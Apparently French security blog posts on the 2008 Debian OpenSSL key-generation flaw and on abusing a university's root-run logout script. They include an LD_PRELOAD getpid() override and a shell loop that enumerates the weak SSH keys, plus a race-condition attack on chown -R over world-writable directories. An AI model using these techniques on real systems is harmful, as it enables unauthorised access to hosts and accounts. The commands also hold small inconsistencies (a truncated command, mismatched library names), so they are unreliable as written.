$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void) {
        return 1;
}
^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
$ LD_PRELOAD=$PWD/fakegetpid.so ssh-keygen -t rsa -N '' -f 
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
foobar already exists.
Overwrite (y/n)? y
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar

Les deux fingerprints sont identiques !

Donc si je résume, la seule graine d'aléa est en fait le PID du processus. Ce qui signifie qu'il n'existe que 2^32 bits possibilités de clef sur x86, bruteforcons... pendant 400 ans.

$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

pid_t getpid(void) {
        pid_t fakepid;
        fakepid = atoi(getenv("FAKEPID"));

        return fakepid;
}

^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
% export FAKEPID
% for FAKEPID in $(seq 0 $((2**32))); do
      LD_PRELOAD=$PWD/getpid.so ssh-keygen -t rsa -N '' -f foo.$((FAKEPID))  |grep foo@bar
  done
70:e2:6b:54:e8:46:b7:64:b7:9a:d6:a8:5d:3e:41:2f foo@bar
65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 foo@bar
fd:21:36:80:2b:df:ac:e8:09:7a:2d:62:cc:38:88:ec foo@bar
17:e5:ba:34:97:1d:2f:63:be:0a:7e:25:eb:3c:b0:fb foo@bar
bd:6f:c2:ca:3f:ad:49:d1:4b:20:ac:6f:27:35:5a:0d foo@bar
a6:9b:60:e0:ce:13:9b:68:6a:36:60:3e:60:82:62:2c foo@bar
ca:d7:2f:8f:c0:42:12:df:d2:5f:78:41:86:6e:63:0e foo@bar
29:ea:08:3a:61:91:55:e9:cb:93:46:b2:55:cc:87:e6 foo@bar
b5:6d:f1:3f:47:ce:ab:11:d1:1a:6f:0f:e6:a5:04:8d foo@bar
13:c2:e7:0f:f1:cf:a8:22:8f:7b:a4:b0:f3:83:64:25 foo@bar

Ensuite, vous loadez toutes ces clefs dans votre ssh-agent et boum!

Update@23:04: H D Moore s'en mêle et a eu la même idée, sauf que lui n'a pas oublié que les PID étaient sur 15 bits et pas sur 32 bits, soient 32 768 possibilités ce que j'avais réussi à calculer en quatre heures (j'ai pas 31 Xeon moi !).

Pour ceux que ça intéresse, je suis sur le point d'avoir les clefs pour 0 < PID < 300 000. Ok, ca n'a aucun intérêt.

OMG ! Le DSA-2008-0166 qui vient de sortir est peut-être l'un des pire jamais existé. Sa conclusion est assez claire :

It is strongly recommended that all cryptographic key material which has
been generated by OpenSSL versions starting with 0.9.8c-1 on Debian
systems is recreated from scratch.

Si on fait un interdiff avec la version précédente, on obtient ça :

diff -u openssl-0.9.8c/crypto/rand/md_rand.c openssl-0.9.8c/crypto/rand/md_rand.c
--- openssl-0.9.8c/crypto/rand/md_rand.c
+++ openssl-0.9.8c/crypto/rand/md_rand.c
@@ -271,10 +271,7 @@
                else
                        MD_Update(&m,&(state[st_idx]),j);

-/*             
- * Don't add uninitialised data.
                MD_Update(&m,buf,j);
-*/
                MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));
                MD_Final(&m,local_md);
                md_c[1]++;
diff -u openssl-0.9.8c/debian/changelog openssl-0.9.8c/debian/changelog
--- openssl-0.9.8c/debian/changelog
+++ openssl-0.9.8c/debian/changelog
@@ -1,3 +1,19 @@
+openssl (0.9.8c-4etch3) stable-security; urgency=high
+
+  * Re-introducing seeding of the random number generator.  Patch from the
+    maintainer.
+
+ -- Florian Weimer <fw@deneb.enyo.de>  Thu, 08 May 2008 01:58:40 +0200
+

WTF ? Pourquoi le maintaineur Debian modifie le code en lui-même ? Autant je comprends qu'il le fasse quand ça l'arrange pour le packaging, mais ce n'est pas son rôle de "corriger" le code tout seul comme un grand. Tout pour ça pour corriger un bug esthétique !

J'entends d'ici Theo De Raadt qui rigole.

Ubuntun, rigolez pas, vous êtes autant vulnérable.

Ce récit d'un sauvetage de système me fait un penser à la bourde qu'il m'était arrivée il y a quelques mois en cassant libssl à distance.

Dans les bonnes pratiques de l'admin, installez toujours busybox-static sur chaque serveur, vous ne le regretterez jamais...

Certains osent aussi dire qu'il faut toujours avoir une backdoor SSLifiée statique. Ca me rappelle un serveur qui avait compilé ce genre de truc sur une très ancienne version d'OpenSSL et qui n'avait jamais mis à jour sa backdoor...

L'administration système est sûrement le boulot le plus difficile, techniquement comme humainement parlant, car vous devez connaître tous les outils utilisés, les effets de bord, les impacts sur la sécurité des données et je ne parle même pas de l'horreur des sauvegardes ou de l'enfer des mises à jour.

Enfin, ça, c'est la théorie, car dans la pratique, l'équipe d'administration se contente... d'administrer. À part les vieux, on rencontre de moins en moins d'administrateurs barbus, qui maîtrisent un langage de script ou les arcanes de leurs MTA. C'est pour ça qu'aujourd'hui, si on veut compromettre un réseau, il est beaucoup plus efficace de regarder les scripts écrits par l'administrateur que faire de la veille de vulnérabilité pour Apache.

Un exemple ? Facile, voici un extrait de script executé (sous uid=0) à chaque fin de session utilisateur dans une université parisienne :

# ... plusieurs centaines de lignes de bullshit
chown -R $USER:$GROUP $HOME_USER/
chmod -R u-s,g-s,o-t  $HOME_USER/

Tout ça, c'est de mémoire mais le code était bien pire.

Avez vous vu le problème ? Sachant que tous les professeurs, élèves et même les administrateurs avaient toujours un répertoire tmp/ ou incoming/ en World-Writable pour recevoir les comptes-rendus ou travaux pratiques des élèves.

La race condition se passait les doigts dans le nez malgré le quota de 10 Mo avec la création de milliers de répertoires imbriqués. Vous posiez vos billes et paf, vous n'aviez qu'à attendre la déconnexion de la victime (facile puisque les droits de reboot n'étaient pas révoqués).

Et je parle même pas des problèmes de non quotage des variables, des interfaces Web de changements de mot de passe, du répertoire contenant les logs Apache qui est en écriture pour les users, etc. Tout ce qui est homemade est toujours le premier truc à analyser... Bonne chasse